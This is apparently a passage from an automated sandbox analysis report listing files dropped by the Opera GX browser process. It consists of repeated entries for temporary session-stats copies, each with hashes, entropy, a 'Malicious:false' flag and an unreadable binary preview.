                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d90be.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d910c.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d911b.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d91b8.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d930f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d931f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d933e.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d934e.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d936d.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d938c.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d939c.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d93ac.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d93bb.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d93cb.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d93da.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d93ea.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9409.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
